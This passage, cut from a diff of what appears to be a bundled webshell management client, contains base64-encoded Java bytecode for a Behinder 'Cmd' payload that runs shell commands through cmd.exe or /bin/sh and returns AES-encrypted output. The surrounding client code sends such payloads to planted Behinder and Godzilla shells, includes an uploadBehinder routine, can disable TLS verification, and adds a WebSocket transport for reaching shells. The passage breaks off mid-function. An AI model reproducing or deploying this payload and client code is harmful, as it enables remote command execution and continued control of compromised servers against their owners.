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";
|
|
238
501
|
var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA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";
|
|
@@ -521,6 +784,20 @@ function postRaw(url, body, options = {}) {
|
|
|
521
784
|
return new Promise((resolve2, reject) => {
|
|
522
785
|
const started = Date.now();
|
|
523
786
|
const transport = isHttps ? https : http;
|
|
787
|
+
const onResponse = (res) => {
|
|
788
|
+
const chunks = [];
|
|
789
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
790
|
+
res.on(
|
|
791
|
+
"end",
|
|
792
|
+
() => resolve2({
|
|
793
|
+
status: res.statusCode ?? 0,
|
|
794
|
+
headers: res.headers,
|
|
795
|
+
body: Buffer.concat(chunks),
|
|
796
|
+
durationMs: Date.now() - started
|
|
797
|
+
})
|
|
798
|
+
);
|
|
799
|
+
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
800
|
+
};
|
|
524
801
|
const req = transport.request(
|
|
525
802
|
{
|
|
526
803
|
method: "POST",
|
|
@@ -538,21 +815,9 @@ function postRaw(url, body, options = {}) {
|
|
|
538
815
|
timeout: timeoutMs,
|
|
539
816
|
...isHttps && insecure ? { rejectUnauthorized: false } : {}
|
|
540
817
|
},
|
|
541
|
-
|
|
542
|
-
const chunks = [];
|
|
543
|
-
res.on("data", (chunk) => chunks.push(chunk));
|
|
544
|
-
res.on(
|
|
545
|
-
"end",
|
|
546
|
-
() => resolve2({
|
|
547
|
-
status: res.statusCode ?? 0,
|
|
548
|
-
headers: res.headers,
|
|
549
|
-
body: Buffer.concat(chunks),
|
|
550
|
-
durationMs: Date.now() - started
|
|
551
|
-
})
|
|
552
|
-
);
|
|
553
|
-
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
554
|
-
}
|
|
818
|
+
onResponse
|
|
555
819
|
);
|
|
820
|
+
req.on("upgrade", onResponse);
|
|
556
821
|
req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
|
|
557
822
|
req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
558
823
|
req.write(body);
|
|
@@ -978,6 +1243,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
|
978
1243
|
|
|
979
1244
|
// src/connect/godzilla.ts
|
|
980
1245
|
import iconv from "iconv-lite";
|
|
1246
|
+
|
|
1247
|
+
// src/connect/websocket.ts
|
|
1248
|
+
import WebSocket from "ws";
|
|
1249
|
+
function isWebSocketUrl(url) {
|
|
1250
|
+
return /^wss?:\/\//i.test(url);
|
|
1251
|
+
}
|
|
1252
|
+
function requestWebSocket(url, body, options = {}) {
|
|
1253
|
+
let target;
|
|
1254
|
+
try {
|
|
1255
|
+
target = new URL(url);
|
|
1256
|
+
} catch {
|
|
1257
|
+
return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
|
|
1258
|
+
}
|
|
1259
|
+
if (target.protocol !== "ws:" && target.protocol !== "wss:") {
|
|
1260
|
+
return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
|
|
1261
|
+
}
|
|
1262
|
+
const timeoutMs = options.timeoutMs ?? 3e4;
|
|
1263
|
+
return new Promise((resolve2, reject) => {
|
|
1264
|
+
const socket = new WebSocket(target, {
|
|
1265
|
+
headers: buildHeaders({}, options),
|
|
1266
|
+
handshakeTimeout: timeoutMs,
|
|
1267
|
+
rejectUnauthorized: !options.insecure,
|
|
1268
|
+
perMessageDeflate: false,
|
|
1269
|
+
maxPayload: 256 * 1024 * 1024
|
|
1270
|
+
});
|
|
1271
|
+
let timer;
|
|
1272
|
+
let settled = false;
|
|
1273
|
+
const finish = (error, result) => {
|
|
1274
|
+
if (settled) return;
|
|
1275
|
+
settled = true;
|
|
1276
|
+
if (timer) clearTimeout(timer);
|
|
1277
|
+
timer = void 0;
|
|
1278
|
+
socket.removeAllListeners();
|
|
1279
|
+
if (error) reject(error);
|
|
1280
|
+
else resolve2(result);
|
|
1281
|
+
socket.close();
|
|
1282
|
+
};
|
|
1283
|
+
timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
|
|
1284
|
+
socket.once("open", () => socket.send(body));
|
|
1285
|
+
socket.on("message", (data, isBinary) => {
|
|
1286
|
